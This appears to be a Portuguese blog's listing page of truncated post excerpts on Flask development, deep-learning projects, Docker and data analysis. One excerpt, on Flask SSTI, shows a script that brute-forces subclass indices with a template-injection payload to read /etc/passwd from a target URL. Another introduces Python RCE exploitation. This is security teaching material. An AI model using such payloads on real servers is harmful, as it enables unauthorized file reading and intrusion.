Configuração e Uso Básico do Flask
Para configurar o ambiente, altere o repositório de pacotes Python para o da Douban: https://pypi.douban.com/simple/. Em seguida, instale o pacote Flask.
Configurações Básicas do Flask
O Flask é um framework web leve em Python que atua como middleware, executando com o Python enstalado no sistema operacional.
As rotas definem quais caminhos ace ...
Publicado em 8-28 07:35
Projetos de Graduação em Python e Aprendizado Profundo: Do Planejamento à Implementação
Recentemente, ajudei alguns colegas a revisarem seus trabalhos de graduação e percebi um padrão comum: muitos estão entusiasmados com o aprendizado profundo, mas encontram dificuldades ao colocar ideias em prática. Problemas como falta de acesso a GPUs poderosas, dificuldade em encontrar conjuntos de dados adequados e problemas na replicação de ...
Publicado em 8-9 03:03
Plataforma de Ensino e Seleção de Cursos com Python (Flask/Django) e Vue.js
Backend: Flask (framework Python leve) ou Django (framework Python completo), fornecendo APIs RESTful.
Frontend: Vue.js 3 (Composition API), combinado com bibliotecas UI como Element Plus ou Vant.
Ferramentas de Desenvolvimento: PyCharm (para backend), VS Code (para frontend).
Banco de Dados: MySQL/PostgreSQL, operado através de SQLAlchemy ou ...
Publicado em 8-6 12:08
Injeção de SSTI em aplicações Flask e como contornar
Exploração da classe FileLoader:
import requests
url = input('Digite a URL do alvo: ')
for i in range(500):
payload = f"{{{{''.__class__.__bases__[0].__subclasses__()[{i}].get_data(0, '/etc/passwd')}}}}"
try:
response = requests.post(url, data={"name": payload})
if response.status_code == 200 and '_fr ...
Publicado em 8-5 12:37
Desenvolvimento com Flask: Conectando ao Banco de Dados e Usando Blueprints
3. Conexão com o banco de dados MySQL e criação de pool de conexões
A conexão direta com o banco de dados a cada requisição é ineficiente, pois consome tempo e recursos valiosos. Uma solução melhor é utilizar um pool de conexões, que mantém um conjunto de conexões pré-estabeelcidas prontas para uso.
Primeiro, vejamos uma implementação básica se ...
Publicado em 8-4 03:56
Serviço de Detecção Facial MTCNN com Flask
Introdução à Detecção Facial com MTCNN e Flask A detecção de faces é uma tarefa fundamental em visão computacional, com aplicações em segurança, organização de fotos e interação humano-computador. O MTCNN (Multi-task Cascaded Convolutional Networks) é um modelo popular e eficiente para essa finalidade. Este artigo demonstra como integrar o MTCN ...
Publicado em 8-3 00:17
Sistema de Análise e Visualização de Dados de Filmes com Big Data
Introdução ao Projeto
Com a expansão contínua da internet, plataformas sociais como Weibo, Zhihu e Douban tornaram-se repositórios vastos de opiniões e avaliações dos usuários sobre produtos e serviços. Esse feedback gera um "efeito boca a boca" que influencia o comportamento de consumo. A mineração e análise dessas informações oculta ...
Publicado em 7-30 23:28
Implementação de Blueprints e Pools de Conexão em Aplicações Flask
Organização com Blueprints
Em projetos Flask com múltiplas funções de visão (view functions), os blueprints perimtem modularizar o código em arquivos separados, promovendo uma estrutura de diretórios escalável e organizada.
Estrutura de Diretórios Recomendada
meu_projeto_flask/
├── app.py # Arquivo principal da aplicação
├── RE ...
Publicado em 7-14 13:35
Gerenciamento de Contêineres com Comandos Essenciais do Docker
O Docker revoluciona a forma como empacotamos e executamos aplicações, encapsulando-as com todas as suas dependências – bibliotecas, configurações e ferramentas de sistema – em unidades padronizadas conhecidas como contêineres. Essa abordagem garante que as aplicações funcionem de forma idêntica em qualquer ambiente, eliminando problemas de com ...
Publicado em 7-14 06:54
Exploração de Vulnerabilidades de Execução Remota de Código em Python
A exploração de vulnerabilidades de Execução Remota de Código (RCE) em ambientes Python difere de outras linguagens, como PHP, principalmente nas funções e módulos utilizados para interagir com o sistema operacional e executar código dinâmico. Abordaremos os principais vetores e módulos que permitem a execução de coamndos do sistema e avaliação ...
Publicado em 7-13 02:37